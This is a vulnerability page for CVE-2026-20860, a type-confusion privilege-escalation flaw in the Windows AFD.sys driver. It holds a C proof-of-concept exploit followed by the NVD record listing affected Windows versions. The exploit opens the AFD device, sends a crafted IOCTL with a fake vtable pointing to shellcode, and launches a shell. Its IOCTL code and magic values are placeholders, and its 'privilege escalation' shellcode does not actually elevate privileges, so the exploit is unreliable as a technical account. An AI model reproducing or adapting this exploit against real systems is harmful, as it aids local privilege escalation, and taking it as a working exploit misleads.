CVE-2026-20860

// CVE-2026-20860 PoC - Type Confusion in Windows AFD.sys // This is a conceptual PoC for educational purposes only // Author: Security Researcher // Target: Windows Ancillary Function Driver for WinSock #include <windows.h> #include <winioctl.h> #include <stdio.h> // Define AFD device name #define AFD_DEVICE_NAME "\\\\.\\Global\\GLOBAL\\AFD" // Malicious IOCTL code (conceptual) #define IOCTL_AFD_TYPE_CONFUSION 0x12003B // Malicious data structure to trigger type confusion typedef struct _AFD_TYPE_CONFUSION_PAYLOAD { ULONG_PTR magic_value; // Magic value to trigger vulnerability ULONG_PTR object_type; // Target object type ULONG_PTR fake_vtable; // Fake vtable pointer ULONG_PTR shellcode_addr; // Shellcode address UCHAR padding[0x100]; // Padding for memory layout } AFD_TYPE_CONFUSION_PAYLOAD, *PAFD_TYPE_CONFUSION_PAYLOAD; // Shellcode for privilege escalation unsigned char shellcode[] = { 0x48, 0x31, 0xC0, // xor rax, rax 0x65, 0x48, 0x8B, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:188h] 0x4C, 0x8B, 0x42, 0x70, // mov r8, [rdx+70h] - EPROCESS offset 0x4D, 0x8B, 0x88, 0x80, 0x02, 0x00, 0x00, // mov r9, [r8+280h] - ActiveProcessLinks 0x49, 0x8B, 0x09, // mov rcx, [r9] 0x48, 0x8B, 0x51, 0x50, // mov rdx, [rcx+50h] 0x48, 0x8B, 0x82, 0x80, 0x02, 0x00, 0x00, // mov rax, [rdx+280h] 0xC3 // ret }; int main() { HANDLE hDevice; DWORD bytesReturned; AFD_TYPE_CONFUSION_PAYLOAD payload; printf("[*] CVE-2026-20860 PoC - AFD.sys Type Confusion\n"); printf("[*] Target: Windows Ancillary Function Driver\n"); // Initialize payload memset(&payload, 0, sizeof(payload)); payload.magic_value = 0xDEADBEEF; payload.object_type = 0x12345678; payload.fake_vtable = (ULONG_PTR)shellcode; // Open AFD device hDevice = CreateFileA( AFD_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open AFD device: %d\n", GetLastError()); return -1; } printf("[+] AFD device opened successfully\n"); // Send malicious IOCTL to trigger type confusion BOOL result = DeviceIoControl( hDevice, IOCTL_AFD_TYPE_CONFUSION, &payload, sizeof(payload), &payload, sizeof(payload), &bytesReturned, NULL ); if (result) { printf("[+] Type confusion triggered successfully\n"); printf("[*] Spawning elevated shell...\n"); system("cmd.exe"); } else { printf("[-] IOCTL call failed: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; } /* * Mitigation: * 1. Apply Microsoft security patches for CVE-2026-20860 * 2. Enable Windows Defender or other endpoint protection * 3. Restrict local administrative privileges * 4. Monitor for suspicious AFD.sys IOCTL operations * * Note: This PoC is for educational and research purposes only. */

{"cve": {"id": "CVE-2026-20860", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:14.970", "lastModified": "2026-01-15T15:29:06.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Acceso de recursos usando un tipo incompatible ('confusión de tipos') en el controlador de función auxiliar de Windows para WinSock permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20860", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}